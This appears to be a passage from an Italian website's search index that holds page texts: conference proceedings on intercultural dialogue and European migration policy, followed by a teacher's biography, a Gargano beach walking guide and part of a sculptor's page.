1999). C'è così il rischio, avverte Franco Cambi, di una &quot;morte delle culture&quot;, che però può essere scongiurato, &quot;nel tempo del meticciato&quot;, da forme alternative di scambio e di dialogo interculturale:&quot;L'acculturazione come trasfigurazione [delle culture] possiamo fissarla attraverso i caratteri propri dell'incontro, dello scambio, dell'ascolto e dell'innesto reciproco, che sono poi i contrassegni stessi di quel processo di &quot;mescolanza&quot; che è l'acculturazione&quot; (Franco Cambi, Intereultura:fondamenti pedagogici, Carocci editore, Roma 2001). E sul tema dell'incontro e dello scambio nella relazione interculturale insiste Franca Finto Minerva che assimila il pensiero interculturale al pensiero della pace e del dialogo: &quot;Il pensiero che nutre la pace è un pensiero attivo e non passivo, problematico ed antidogmatico, un pensiero interculturale, relazionale e dialogico, disponibile alla collaborazione, alla solidarietà, al confronto e alla cooperazione. Un pensiero 'nutrito' dall'insegnamento di Gandhi, che individua proprio nel principio deirahimsa (non desiderio di fare del male) il fondamento di principi e di pratiche d'azione non violente, indispensabili per gestire la complessità della condizione umana, oggi più che mai&quot; (Franca Finto Minerva, L'intercultura, Editori Laterza, Roma-Bari 2002). Nel settore più propriamente politico a tali forme alternative di scambio fa appello John Rawls, che distingue tra pluralismo ragionevole e pluralismo puro e semplice:&quot;Noi cerchiamo -avverte Rawls- una concezione politica della giustizia adatta a una società democratica, vista come sistema di equa cooperazione fra cittadini liberi e uguali che, in quanto politicamente autonomi [...], accettino volontariamente i principi di giustizia pubblicamente riconosciuti che specificano gli equi termini della cooperazione. La società in questione, però, è una società nella quale coesistono dottrine comprensive diverse, tutte perfettamente ragionevoli; questo è il fatto del pluralismo raionevole, distinto dal fatto del puro e semplice pluralismo &quot; (Rawls, Politicai Liberalism, Columbia University Press, 1993, tr.it. di Gianni Rigamonti). Questo è l'obiettivo del Liberalismo politico dì Rawls, come, pensiamo, delle società democratiche in generale: i cittadini liberi e autonomi devono condividere alcuni princìpi di fondo pubblicamente riconosciuti, fissati cioè in un testo costituzionale: l'area di condivisione di questi princìpi è chiamata &quot;consenso per intersezione&quot; (overlapping consensus). Ora, annota sempre Rawls, succede che &quot;in molte situazioni storiche un consenso per intersezione di dottrine ragionevoli può non essere possibile; può accadere che i tentativi di realizzarlo siano schiacciati da dottrine comprensive irragionevoli o addirittura irrazionali (e anzi folli, qualche volta)&quot;(Ib). A distanza di circa dieci anni da tali considerazioni del politologo americano, possiamo dire che le situazioni storiche nelle quali il &quot;consenso per intersezione&quot; non è possibile, non è possibile cioè la cooperazione democratica, si sono moltiplicate, perché si è rafforzata la tendenza alla radicalizzazione delle &quot;dottrine comprensive irragionevoli&quot;, che si sono trasformate in vere e proprie strategie politiche di assoluta follia e pura distruttività, tutte rinvenibili nei fondamentalismi religiosi e politici. Questi si caratterizzano per la loro assoluta intransigenza, per l'esclusione dell'altro, per la ipostatizzazione delle loro dottrine: ed è chiaro che, in tale contesto di rifiuto radicale, il dialogo interculturale perde quota e sì inabissa senza speranza. Tuttavia, l'intervento politico per il ripristino del confronto e del rawlsiano &quot;consenso per intersezione&quot; rimane decisivo, se c'è ancora una speranza per la fuoriuscita dell'umanità dalla condizione descritta da Hobbes della guerra generalizzata, del bellum omnium contra omnes. Hobbes, per tale fuoriuscita, aveva escogitato un contratto politico tra le persone minacciate di morte nel quale si prevedeva la consegna di tutti i poteri dello Stato, meno il potere di vita e di morte sui cittadini, ad uno solo dei contraenti. Sennonché in tale contratto i cittadini, pur avendo garantita la sopravvivenza biologica, diventano sudditi del loro President, del loro Fuhrer, della loro guida politica, privi di possibilità di scelta, di critica, di pensiero divergente, di parola, di stampa, di comportamenti autonomi, privi di tutte quelle libertà moderne che per i cittadini sono un po' come l'ossigeno che respirano. Occorre, pertanto, escogitare un altro tipo di contratto con i cittadini, non certamente, nell'epoca dell'informatica, telematico o televisivo perché tutto ciò è evanescente, virtuale, menzognero, inesistente: un tipo di contratto reale e concreto, che vede i contraenti discutere direttamente, faccia a faccia, e nel quale, come in Hobbes, sia sì garantita la sopravvivenza biologica, la security personale, ma anche tutti gli altri diritti naturali non scritti teorizzati da Locke e dai suoi epigoni, attraverso Kant, fino al liberalismo politico di Rawls. In virtù di tali diritti naturali le leggi dello Stato, fatte dal Parlamento, non possono ad essi contravvenire. Se, ad esempio, un Parlamento emana una legge per legittimare la tortura fisica come pena, tale legge è innaturale, premoderna, contro cioè il diritto naturale moderno all'integrità corporale, e in tal senso si invalida da sé, sì delegittima. E così anche, volendo fare qualche altro esempio, se un Parlamento nazionale propone una legge per legittimare un falso qualsiasi, essa di per sé si invalida in quanto contravviene ad un elementare diritto naturale per cui il falso è falso e non può essere inverato dallo Stato e il vero rimane vero e non può diventare falso. Un falso, cioè, non si può legittimare come vero e viceversa. E così pure per un altro diritto naturale, teorizzato da Kant e sopra citato, il diritto cosmopolitico: se un Parlamento nazionale propone l'abolizione di tale diritto in virtù, ad esempio, della difesa della razza e della sua purezza contro ogni forma di contaminazione razziale, tale proposta di legge, che pure può diventare legge dello Stato se approvata dal Parlamento (come le leggi di Norimberga -1935-, nella Germania nazista), si delegittima da sé come legge contraria ad un fondamentale diritto naturale qual è il diritto cosmopolitico o diritto di visita. Hobbes, in qualche modo, aveva dimenticato l'esistenza o la preesistenza politica dei diritti naturali che il moderno Stato di diritto deve tutelare: vogliamo solo sperare che tale dimenticanza sia stata un fatto contingente, relativo al tempo di Hobbes, perché se così non fosse, se cioè essa si fosse prolungata, anche solo a tratti, fino ad oggi, certamente non potremmo più dormire sonni tranquilli, per pensare nuovi termini e possibilità di contratti politici più moderni, equi e conformi ai diritti naturali. Sul tronco di tali diritti si innesta, ribadiamo, la &quot;universale ospitalità&quot; kantiana o il &quot;diritto cosmopolitico&quot;, anche e soprattutto nell'era della globalizzazione, nella quale i popoli si incontrano e si scontrano incessantemente. Osserva Salvatore Natoli sulla scia di Amselle:&quot;L'ibridazione è un destino, il meticciato è il futuro della storia, la mescolanza genererà la nuova civiltà. Questa è la mutazione positiva e possibile della geopolitica&quot; (S. Natoli, Stare al mondo, Feltrinelli, Milano 2002). Ed Edward W. Said dichiara, dal canto suo, che scopo del suo Orientalism (1978) &quot;non era tanto eliminare le differenze -chi mai può negare il carattere costitutivo delle differenze nazionali e culturali nei rapporti tra esseri umani?- quanto sfidare l'idea che le differenze comportino necessariamente ostilità, un assieme congelato e reificato di essenze in opposizione&quot; (Postfazione 1994). Forse, alla fine, ed è davvero auspicabile, avrà ragione Kant e la sua saggia riflessione etica sulla sfericità della terra, per cui i popoli, non potendo vivere separati e distanti, si dovranno prima o poi convincere del loro destino, che cioè sono naturalmente spinti all'incontro più che allo scontro, alla convergenza più che alla divergenza, alla tolleranza reciproca, al vivere insieme, l'uno accanto all'altro.  ANTONIO Muscio (Rettore Università di Foggia) - Un progetto migratorio comune per l'Unione Europea [...] uomini migranti, alla ricerca di una sicurezza economica e sociale che non trovano nel loro paese. Ciò significa, fra le altre cose, che la valenza stessa di &quot;unione europea&quot; non può non fare riferimento alla specificità di quella cultura d'Europa che affonda le sue radici nel Mediterraneo. Dunque, la costruzione di una Unione Europea deve essere in grado di prevedere nel suo progetto anche le esigenze di tutti i popoli che costeggiano il Mediterraneo, a partire appunto dalla gestione del problema migratorio. Venendo, infatti, a oggi -a tempi a noi più vicini- sappiamo bene come l'Europa si trovi al centro di intensi flussi migratori da est, da sud, da ovest, che la mettono a contatto con le mille potenzialità, rna anche i mille problemi, del mondo intero. Alle &quot;antiche&quot; diversità occorre oggi aggiungere quelle nuove, quelle che, in particolare, le genti del sud del mondo e dell'est europeo stanno portando nelle nostre città, nelle nostre scuole ed università, nei luoghi di lavoro, di riposo e di svago. Ancora una volta, l'Europa si trova ad essere luogo privilegiato di incontro e di confronto. Esso deve mirare, dunque, innanzitutto a far emergere la positività e la produttività del suo essere -storicamente- un luogo di incroci e di incroci di più punti di vista, di più fedi, di più culture.  Il fenomeno migratorio, oggi Le previsioni demografiche ridisegnano radicalmente il volto dell'Europa dell'immediato futuro a seguito della reciproca influenza di due fattori: Da una parte, il crollo delle nascite e l'allungamento della vita media nel Vecchio Continente, soggetto a un progressivo invecchiamento che determinerà, nel 2020, la diminuzione della popolazione attiva di circa otto milioni di unità, con un aggravio significativo sul sistema pensionistico e sanitario particolarmente significativo proprio in Italia, dove il rapporto di dipendenza degli anziani rispetto alla popolazione attiva è stimato nella percentuale del 30,4%; Dall'altra parte, l'aumento della popolazione dei paesi dell'Africa settentrionale -in settantuno dei quali il 40% della popolazione ha meno di quarantenni- e la conseguente pressione migratoria da questi esercitata sul continente europeo. Una linea di tendenza destinata a rafforzarsi, se si considera che il tasso di fecondità delle donne africane è rispettivamente di 7,5 e 4 figli contro 1' 1,2 delle donne italiane e occidentali in genere. Si tratta di eventi e di variabili molteplici e strettamente legate tra loro, che hanno come conseguenza comune l'emergere della consapevolezza del fatto che l'Europa -nel bene e nel male- non possa comunque fare a meno degli immigrati e che, conscguentemente, diventa necessaria una seria politica dell'immigrazione, che superi una visione puramente assistenziale o meramente burocratica del fenomeno ma che studi le forme e i modi di una reale e costruttiva integrazione. Si tratta, in tal modo, di ipotizzare l'idea di un'&quot;Europa casa comune&quot; piuttosto che di un'&quot;Europa fortezza&quot;, disponibile a lasciarsi contaminare, come ha già fatto in passato, da più popoli e culture, tracciando in tal modo orizzonti realmente interculturali. Il divario esistente tra i paesi a economia evoluta e quelli ed. in via di sviluppo, piuttosto che diminuire, si è negli ultimi tempi ulteriormente accentuato: se negli anni '60 i primi erano trenta volte più ricchi, ora lo sono sessanta volte di più. A fronte di 800 milioni di persone che possono contare su di un reddito dignitoso, una massa ingente di persone -più di quattro miliardi- soffre la fame e vive nella più completa indigenza. I continenti più penalizzati sono innanzitutto l'Africa e l'Asia, oltre che l'Europa dell'Est e l'America latina, paesi nei quali la miseria e l'infinita povertà si intrecciano con fenomeni di sfruttamento e di vera e propria schiavitù. Il divario tra paesi ricchi e paesi poveri è, dunque, aumentato e si è ulteriormente complicato. La contrapposizione tra livelli di benessere e livelli di estrema povertà è aggravata per quanto riguarda l'Italia, dal fatto che tale contrapposizione si verifica tra paesi che sono a pochi chilometri di distanza, rendendo così ancor più microscopicamente evidente tale divario e determinando quasi obbligatoriamente il desiderio di poterlo colmare. Un ulteriore fattore distintivo e peculiare della società contemporanea è dato dalla mondializzazione degli scambi economici e del sistema della produzione. Tale globalizzazione ha profondamente modificato la logica e la pratica del sistema produttivo, determinando, ad esempio, lo spostamento di alcune fasi della produzione nei paesi in via di sviluppo e ingenerando in tal modo una sorta di &quot;competizione mondiale&quot; tra lavoratori occupati nelle diverse parti del mondo. La globalizzazione dei mercati in tal modo, rischia di non limitare la portata del fenomeno migratorio ma anzi di espanderla se non si traduce in un miglioramento generalizzato (piuttosto che in uno sfruttamento) dei lavoratori dei paesi del sud del mondo, costretti comunque ad emigrare alla ricerca di condizioni migliori di vita. L'Unione europea può, in tal senso, fare fronte comune imponendo la generalizzazione di un sistema di garanzie minime per tutti i lavoratori, in qualunque parte del mondo realizzino il loro lavoro, controllando che i prodotti realizzati non contengano &quot;tracce&quot; più o meno visibili di sfruttamenti vari, a cominciare da quello, purtroppo ancora presente, del lavoro minorile. Gli obiettivi del progetto migratorio europeo Siamo, dunque, in presenza di uno straordinario moltiplicarsi di fattori che, provocando la crisi dei confini tradizionali (nazionali, economici, sociali, culturali, individuali) aprono a nuove e difficili contraddizioni, conseguenti al paradosso del dilatarsi e del contemporaneo restringersi delle occasioni di contatto e di comunicazione interpersonale. È in questa situazione che l'Italia -insieme agli altri paesi europei- si trova oggi ad affrontare le conseguenze (positive e negative) della generalizzata diffusione del fenomeno migratorio. La presa d'atto di tale situazione dovrebbe indurre a scelte europee comuni (di carattere legislativo, culturale e formativo) più coraggiose ed esplicite, pena il riemergere di nuove tensioni razzistiche, di un allargamento e di un maggiore radicamento di pregiudizi e stereotipi, che dalle persone diverse per colore della pelle e suono della lingua si allargano fino a comprendere tutte le molteplici forme della diversità (di status, di età, di ceto sociale, di genere, di pensiero, ecc.). In effetti, la nostra società è a un bivio: o si impegna a stabilire un equilibrio tra tutte le differenze che popolano il pianeta (esaltandone la positività) o si rassegna a vivere in un perenne stato di guerra. Ciò comporta, innanzitutto, l'assunzione di un atteggiamento realistico, finalizzato a non nascondere ed eliminare la difficoltà e i problemi (causa di autentiche incomprensioni) ma nello stesso tempo ad evitare le mistificazioni del discorso multiculturale e gli appelli generici ai buoni sentimenti. Bisogna partire, in tal senso, dal riconoscimento che differenze così radicali (come quelle che distinguono un popolo da un altro) si prestano inevitabilmente al conflitto e richiedono quindi spazi adeguati di dialogo e di mediazione. Un'autentica cultura dell'integrazione, del confronto e della cooperazione europea si fonda e deve poter contare sul rispetto delle differenze ma anche sulla opportunità e sulla produttività dell'intreccio, del confronto e dello scambio tra culture; essa vive e si alimenta della disponibilità -intellettuale e valoriale- a riconoscere l'altro in sé e sé nell'altro, senza pregiudizi e stereotipi. Troppo spesso, infatti, le forme e le modalità dell'incontro con la differenza etnica e culturale sono viziate proprio dalla paura di quanto è fuori dagli schemi rassicuranti della propria cultura, ostacolando e precludendo ogni possibilità di confronto e di positiva cooperazione. Il secondo passo è quello di riconoscere ed evidenziare i vantaggi del fenomeno migratorio, che non è solo quello economico (per la necessità di coprire con manodopera immigrata ruoli professionali lasciati liberi dalla popolazione autoctona) ma è legato all'arricchimento che provoca in ciascuno di noi l'incontro con storie e biografie diverse dalle proprie. L'altro percepito nella sua differenza, ci aiuta a riconoscerei nella nostra unicità e, pertanto, nella nostra stessa differenza. L'identità (singola e dei gruppi) è, infatti, sempre un evento intersoggettivo e interculturale, nel senso che si costruisce e si struttura nell'interazione con l'alterila. Solo recuperando e valorizzando la costitutiva natura del popolo europeo di sapersi aprire alle differenze, di saper essere naturalmente disposti a incontrare e a far dialogare le diversità, noi cittadini europei saremo uniti non solo da un passaporto comune e da una comune moneta ma da una condivisione di principi, di valori e di intenti, come d'altro canto la Carta dei diritti fondamentali dell'Unione europea approvata a Nizza nel 2000 lascia ben sperare. Lo possiamo fare potenziando, come già detto, quanto di meglio la cultura e la storia europee ci hanno lasciato e che trovano nel sigillo della democrazia il denominatore comune. Una democrazia che va de-territorializzata, nel senso che va estesa a più popoli e a più culture per farne -come dice Habermas- la patria costituzionale dell'uomo contemporaneo. Una democrazia idonea a salvaguardare, contemporaneamente, l'universalismo della cittadinanza (Edgar Morin, non a caso parla di cittadinanza terrestre) e il carattere pluralistico e differenziato della società civile. L'idea comune che deve guidare le scelte in tema di politica migratoria europea -su cui fondare- poi le differenti caratterizzazioni a livello di singolo Paese - deve fondarsi sulla convinzione che, in una società complessa qual è quella attuale, le differenze possono convivere senza dar luogo a conflitti distrutlivi e disgreganti solo se riconoscono norme comuni, valori condivisi e un vero e proprio catalogo di diritti/doveri uguali per tutti. La cittadinanza europea - a sua volta collocata in quella mondiale- deve saper vivere l'appartenenza alla &quot;casa comune europea&quot; come la cornice in cui le differenze si intrecciano e delineano i contorni dell'identità pubblica dei cittadini europei (a qualunque nazionalità appartengano e da qualunque paese provengano) che superi, senza rimuoverle o negarle, le appartenenze particolari. Come dire che, a livello di singoli cittadini europei così come delle istituzioni europee (pubbliche e private), è indispensabile fare riferimento a un sistema di valori comuni di riferimento che sappiano dialeticamente far interagire i diritti dell'uomo come individuo e come cittadino. Come individuo, infatti, ciascun uomo è portatore di determinate credenze che gli derivano dalla sua collocazione identitaria, ma come cittadino - come cittadino europeo - egli deve essere consapevole del fatto che esiste una visione generale, pubblica, determinata da un'insieme di regole comuni e vincolanti per tutti, proprio al fine di rendere possibile un progetto stabile ed equilibrato di vita collettiva. Dove costruire ed esercitare tali valori comuni, dove, cioè, far interagire intercultura e democrazia trasformandola in pratica quotidiana di pensiero e di azione? Ovviamente le istituzioni formative - dalla scuola di base all'università - rappresentano lo spazio pubblico privilegiato dove imparare a sperimentare il pluralismo, dove potersi confrontare con opinioni e punti di vista differenti e dove poter argomentare e sostenere il proprio punto di vista. Nelle istituzioni scolastiche ed universitarie l'incontro con gli altri si realizza attraverso rapporti reali, attraverso il confronto con i coetanei, con i docenti, con i dirigenti, con soggetti e istituzioni esterne virtuali, attraverso l'uso competente dei mediatori culturali quali sono i libri di studio (attraverso i quali conosciamo gli altri che abitano altrove, sia nel senso del tempo che dello spazio) e oggi anche il computer e internet (capaci di farci dialogare in tempo reale con persone che vivono al capo opposto del pianeta). La scuola e l'università rappresentano dunque la palestra ideale per la costruzione di un pensiero e di una forma mentis aperta al confronto e al dialogo a partire innanzitutto dalla conoscenza (reale e non mistificata e stereotipata) degli altri. Ancora una volta non va dimenticato il contributo importante della storia del passato, che ci insegna a valorizzare il ruolo di tali istituzioni ricordandoci, ad esempio, quello che le università sono state e quello che hanno rappresentato in termini di diffusione e di crescita dei singoli e delle collettività: a partire dalle università medievali italiane e francesi alle accademie scientifiche anglosassoni del XVII e del XVIII secolo; dalle università di ricerca del '700 e dell'800 ai grandi laboratori di ricerca delle università contemporanee.  PER UNA POLITICA MIGRATORIA COMUNE Antonio Pellegrino (Presidente della Provincia di Foggia) Prof. Domenico di lasio, Monsignor Arcivescovo, Signor Sindaco, Magnifico Rettore, autorità, signore e signori, comincia oggi una quattro giorni ricca di appuntamenti di rilievo, che si svolgeranno in tre diversi centri della Capitanata; si tratta di un evento culturale di grande importanza, che la Provincia di Foggia è lieta di avere contribuito a realizzare. Quando gli organizzatori hanno ideato e promosso questo incontro, nessuno poteva immaginare che esso si sarebbe svolto in un momento in cui il quadro delle relazioni internazionali sarebbe stato l'attuale. Il giovane secolo non aveva ancora conosciuto una pagina così burrascosa, così carica di sfide. Giacché, si badi, benché sia l'incombenza di un'operazione militare a tenere con il fiato sospeso il mondo, non di sola guerra si parla in questi giorni, ma piuttosto del complessivo modo di rapportarsi dell'Occidente rispetto al resto del mondo. Non è un caso, a mio parere, che accanto ai nervi saldi mostrati dalla maggior parte dei capi di Stato, a cominciare dal Presidente Bush, accanto ai commoventi sforzi di pace del Pontefice e di altri grandi capi religiosi, siano apparsi anche in Occidente gli spiriti animali del fondamentalismo e dell'intolleranza, si tratti di quelli espressi dalla follia criminale di chi considera l'ipotesi di usare la bomba atomica contro l'Afghanistan o dalla garrula sprovvedutezza di chi si mette a fare classifiche di civiltà, forse convinto di trovarsi di fronte alle passioni della Champions League e non alle tragedie della storia. Le ansie che in questo momento percorrono quanti di noi credono nell'uomo e nel suo destino devono indurai, malgrado la limitatezza delle nostre capacità, ad affinare ulteriormente il nostro sforzo di analisi e di riflessione in incontri come questo, perché una cosa è certa: l'Europa, le Europe come giustamente le chiama il professor Vacca, non sono una variabile indipendente di questo scenario, non possono chiamarsene fuori. Non si tratta, badate bene, delle previsioni dei trattati internazionali o dell'ovvia considerazione che la mattanza di New York riguarda un popolo ed un paese amico, della cui cultura e delle cui passioni è intrecciata anche la nostra vicenda, il nostro comune sentire. È che abita in Europa, in questo continente così particolare da non avere neppure un'identità geologica precisa, il laboratorio di ogni possibile convivenza, passa per l'Europa ogni percorso plausibile dei modelli di coesistenza e di scontro dei popoli, delle fedi, delle civiltà. Non mi sfugge il rischio che questa impostazione possa soffrire di eurocentrismo, che risenta della nostalgia di un primato mondiale perso per sempre in un giorno di luglio del 1914 in una strada di Sarajevo; ma credo che l'attestazione della nevralgicità di questo continente non sia solo prodotta da una sorta di decaduta nobiltà. Ma tale resterebbe se non ci preoccupassimo di definire il nostro oggetto, di chiederci cos'è quest'Europa che nel titolo del nostro convegno intendiamo mettere in relazione con l'Altro. A me pare che si tratti di una grande nazione incompiuta. Non uso questo termine a caso: è vero che l'impianto dell'Unione Europea è ancora largamente confederale, è vero che il processo di armonizzazione delle leggi e degli ordinamenti è ancora lungo, è vero -soprattutto- che non esiste ancora una difesa comune europea fuori dell'ambito della Nato; ma con l'avvento dell'Euro, con la pratica armonizzazione delle economie dettata dal patto di stabilità, con la piena applicazione del trattato di Schengen, è difficile dire che l'Europa non è una nazione. Sarebbe come negare la qualifica di nazione agli Stati Uniti d'America alla luce delle innegabili profondissime differenze che ci sono fra il New Jersey e il Texas, ad esempio. Perché &quot;incompiuta&quot;? Non solo per i ritardi e le carenze che ricordavo prima, per la ancora relativa debolezza delle istituzioni sovranazionali europee, ma anche perché l'Unione Europea è ancora troppo piccola e stretta per svolgere il ruolo che la storia e la geopolitica le assegnano. Esiste all'interno dell'UE il problema dei Paesi che per ragioni diverse non aderiscono all'euro, dalla Grecia alla Gran Bretagna; ed esiste l'altro, gigantesco, dell'allargamento ad Est, di cui fra l'altro si occuperà un altro convegno che si svolgerà domattina all'Università di Foggia. La politica migratoria comune non può non tenere conto di questi due fenomeni; la nostra speranza è che essa abbia sempre a mente l'antico adagio &quot;surtout pas trop de zèle&quot;, che rifugga cioè dagli eccessi. Se ad ogni rapina in villa si propone di prendere a cannonate i gommoni e se ad ogni immagine di stenti e di disperazione che passa in tv chiediamo di aprire del tutto le frontiere non faremo molta strada. Serve un atteggiamento flessibile, che non punti ad uno strumento soltanto; che soprattutto affronti il toro per le corna e ponga con chiarezza due postulati: il primo è che l'immigrazione ci serve; ci serve sul piano culturale, del confronto identitario, e ci serve sul piano economico, specialmente se il ciclo produttivo, come da tutti auspicato, dovesse conoscere una nuova fase espansiva, quello che un po' avventatamente viene chiamato &quot;secondo miracolo italiano&quot;. Il secondo, per noi ancora più importante, è che il successo di una politica migratoria ponderata passa per un'attenzione molto maggiore dell'Unione al mezzogiorno d'Italia e d'Europa. Sapete che questi territori, indiscutibilmente europei per tradizioni, cultura e civiltà, non lo sono sul piano dell'economia, dello sviluppo, delle dotazioni infrastnitturali. Nella debolezza congenita del Mezzogiorno d'Italia c'è anche il principale limite della linea di frontiera fra l'Unione Europea e il bacino del mediterraneo. Da questa attenzione, che non può essere limitata al pur importantissimo strumento dei Por, dipende la concreta praticabilità di una politica migratoria comune basata sui valori dell'integrazione e dell'equilibrio e non dello scontro. Vi ringrazio. Restauro » Restauro e conservazione dei Beni Culturali Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[59]=new Array("http://www.vignanotica.com/tognoni.html","Chi Parla e Conoscersi Severino Tognoni","","Home Page Pubblicazioni Le News Contattaci Luoghi del Gargano e Puglia Il Vallone di Vignanotica Home Page &#62; Conoscersi Severino Tognoni Conoscere chi vi parla Severino Tognoni Insegnante in pensione che ha servito per 27 anni nella scuola statale. Educato ai principi della solidarietà è da sempre impegnato in forme di aiuto solidale concreto in ambito sociale e psichiatrico. Fondamentale è stata la strada tracciata con il loro esempio, dai membri della Famiglia Scuola Beato Angelico di Milano con i quali continua a intrattenere rapporti di fraterna amicizia, come pure dai professori Loris Zambon di Venezia e Gianni Strazzabosco di Padova. Negli anni 70 ha fatto parte del gruppo di insegnanti fondatori dell' Ecole Technique Secondaire d’Art de Gitega nel Burundi con la qualifica di Cooperante con i paesi in via di sviluppo. E' in quel periodo di grande impegno professionale, accompagnato dall'idealismo e dalla convinzione di essere i precursori di un cambiamento che credevano epocale, ha conosciuto ed è stato collega e amico di un coetaneo francese di grande intelligenza e capacità Serge Tcherkézoff a cui deve la prima e rudimentale formazione antropologica. Oggi Serge Tcherkézoff è Directeur d'études, EHESS (Ecole des Hautes Etudes en Sciences Sociales, Paris, Marseille). Nel 1985 è capo della delegazione italiana invitata all'International Youth Culture and Study Tour a Taiwan organizzata alla Tamkang University di Taipei. Severino Tognoni si prodiga per promuovere l'integrazione lavorativa dei diversamente abili con problemi psichici o disagio sociale. Parallelamente a questa attività continua ad occuparsi di problemi legati alla istruzione nei paesi africani e non solo, con frequenti visite su invito delle ONG operanti nei luoghi: a questo proposito lavora in stretta collaborazione con la Scuola Beato Angelico ai progetti di cooperazione per attività didattica e formativa nelle strutture scolastiche dei Paesi emergenti. In questi ultimi anni è stato protagonista di iniziative a carattere solidale, per organizzare a Manfredonia, dei percorsi di aiuto ai giovani disagiati. Nell'ultimo biennio si è impegnato a seguire nel loro iter burocratico i giovani che scelgono di frequentare le facoltà di Medicina della Romania. Allo scopo ha creato una struttura di supporto allo studente, per la soluzione dei problemi relativi all'alloggio e al soggiorno in Romania in famiglie o strutture protette. Si è anche occupato per tre anni di tutela del Cittadino Consumatore come presidente della delegazione di Manfredonia dell'Associazione Nazionale Consumatori  Restauro » Restauro e conservazione dei Beni Culturali » Tempere e disegni di S. Tognoni  Matita - Autoritratto 1977 Tempera - Ricordo di un uccellino morto  » Brozetti e sculture Bronzo cm. 30 Titolo: Attesa e pena  » Gioielli Garganonet Via Pò di Levante, 4 45010 Rosolina (Ro) Italia  Tel/fax (+39) 0426 330701  Phone Mobil (+39) 340 3128295 Contattaci     &nbsp;");sQ1[60]=new Array("http://www.vignanotica.com/vignanotica.html","Luoghi del Gargano il Vallone di Vignanotica","","Home Page Pubblicazioni Le News Contattaci Luoghi del Gargano Il Vallone di Vignanotica Home Page &#62; Luoghi del Gargano &#62; Vignanotica Luoghi del Territorio Il Vallone e la spiaggia di VIGNANOTICA Vedi pure la pubblicazione Rivista del Parco - Settembre 2003 Anno 5 n. 9 - Vignanotica. Stiamo percorrendo la S.P. 53, conosciuta come strada litoranea. Il suo percorso sinuoso e vario riserva bellissime sorprese: valli e falesie e pinete costiere incontaminate Mattinatella, Scappone con la sua villa hotel abbarbicata sul ripido e verde declivio, Baia delle Zagare, il vallone di Vignanotica, Pugnochiuso e tante altre insenature e baie per gli appassionati del mare e della pesca subacquea. Descrizione del percorso pedonale turistico. Difficoltà: Percorso breve e agevole Si consiglia di portare al seguito una piccola riserva di acqua. Procedendo sulla strada litoranea, da Mattinata verso Vieste, dopo Baia delle Zagare, all'altezza di un tornante, un piccolo spiazzo a destra immette su un sentiero chiuso con una sbarra, ben segnalato dall'Amministrazione forestale. Il sentiero, agevole da percorrere, è delimitato, nei tratti più scoscesi, da una straccionata e si snoda a mezza costa in una pineta sino ad incontrare l'area attrezzata per pic-nic denominata Torre del Segnale. Da qui, compiendo una piccola salita, si giunge ai ruderi della Torre del Segnale, nei cui pressi sorge un casolare e un pozzo con acqua potabile. Il percorso pedonale giunge alla spiaggia scendendo dalle bianche falesie a dirupo sul mare, tipiche di questa zona del Gargano. Con l'auto invece, si deve raggiungere la sommit&#225 della salita continuando a percorrere la proviciale. Dallo spiazzo attrezzato per auto e moto chiamato &quot;Piscina Inchianaturo&quot;, con ristorante &quot;La Montagna&quot;, gestito da una laboriosa famiglia di mattinatesi il cui capostipite e soprannominato - Pasqualotto -, inizia la discesa verso la spiaggia. La strada agevole nella quasi totalità del suo percorso, ci permetterà di raggiungere il fondo del vallone a circa 200 metri dalla battigia e parcheggiare nelle aree attrezzate allo scopo. Descrizione del paesaggio nel luogo, delle attività turistiche e dei principali aspetti naturistici. La zona e boschiva con una pineta disetanea di pino d'Aleppo di notevole valore paesaggistico. Il sottobosco è costituito dalle specie tipiche della macchia mediterranea, tra cui le più abbondanti risultano il lentisco, il rosmarino e i cisti. E' presente anche ceduo di leccio in buone condizioni vegetative. Più avanti, al bosco si alternano oliveti e mandorleti; la vegetazione arborea si spinge su ripidi pendii fino al ciglio di strapiombi rocciosi sul mare. La spiaggia di Vignanotica è costituita da ghiaia formata da ciottoli biancastri di forma rotondeggiante ed è sovrastata da pareti a strapiombo di un accecante colore bianco. Per la sua suggestività e per la tranquillità che offre nel periodo di maggiore congestione turistica è vivamente consigliata. E' chiamata anche Baia dei Gabbiani perché verso il tardo pomeriggio si possono osservare numerosissimi gabbiani reali che si recano ai dormitori in direzione di Baia delle Zagare. Restauro » Restauro e conservazione dei Beni Culturali Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[61]=new Array("http://www.luciozatti.it/","Lucio Zatti","","LUCIO ZATTI Scultore Home Chi sono I Temi Le opere Lo scultore Lucio Zatti racconta il suo fare arte. Insegnante, scultore e ceramista Raku, si impegna quotidianamente a vivere la dimensione dell'estetico con un linguaggio attento e speculativo. La mia arte... Scultura Il mio pensiero... Le Modelle. Di per se ogni modella è già un monumento, un paesaggio. Sono a volte lontane, altere, altre volte quasi materne nella preoccupazione che la posa risulti facile e descrivibile. Nel far propria l'estetica della forma del corpo stesso della modella, è importante staccarsi dall'emozione e dal sentimento che istintivamente il corpo nudo ci suscita. La modella perfetta è colei che ha una forte e vera accettazione di se, del proprio corpo senza porsi giudizi. Cos'è la bellezza? Leonardo dice: &quot;non c'è vera bellezza senza qualche difformità&quot;. Maestri &#38; AllieviI miei maestri ideali: Arturo Martini, Marino Marini, Rodin, Adolfo Wildt, Boccioni, Manzù, Minguzzi, Messina, e per la pittura Bacon, Sutherland, Lucian Freud. I miei maestri reali: Stefano Baschierato scultore, Luigi Tito pittore, un altro pittore e grande amico Marcello Colusso. Il Raku La ceramica Raku è una tecnica che nasce in Giappone nel '500 con lo spirito proprio della tradizione ZEN, e che verrà conosciuta in occidente dopo la seconda guerra mondiale. Negli Stati Uniti prima, e in tutti i paesi occidentali poi, assumerà caratteristiche anche molto diverse dall'origine a seguito di continue sperimentazioni da parte di cultori ed estimatori di questa tecnica. Il Nudo Il concetto di nudo nell'arte va oltre l'aspetto puramente anatomico per arrivare a uno scavo interiore che è poesia ed emozione. Una sorta di &quot;modulo&quot; universale che l'artista ha per conoscere se stesso. Nudo - Scultura in Raku Galleria Un ricordo del fotografo e amico fraterno Mauro D'Agnolo Vallano. Gli Sguardi Rappresentare la magica espessività dello sguardo e relazionare con questo attraverso la ricchezza della materia, è opera ardua ma ricchissima di pathos. Prende origine dall'animo la complessa struttura dei sentimenti, che con slancio viene trasferita alle linee e alle forme, affinchè le stesse, acquisiscano forza emotiva. Una sequenza poetica di sguardi e visi con una forte carica espressiva declinabile nei sostantivi poetici: amore, attrazione, tristezza, allegria ..... Lucio Zatti Via 